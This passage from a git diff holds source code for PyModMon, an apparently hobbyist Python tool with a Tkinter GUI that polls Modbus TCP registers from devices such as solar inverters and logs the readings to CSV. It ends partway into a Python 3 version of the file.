exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = 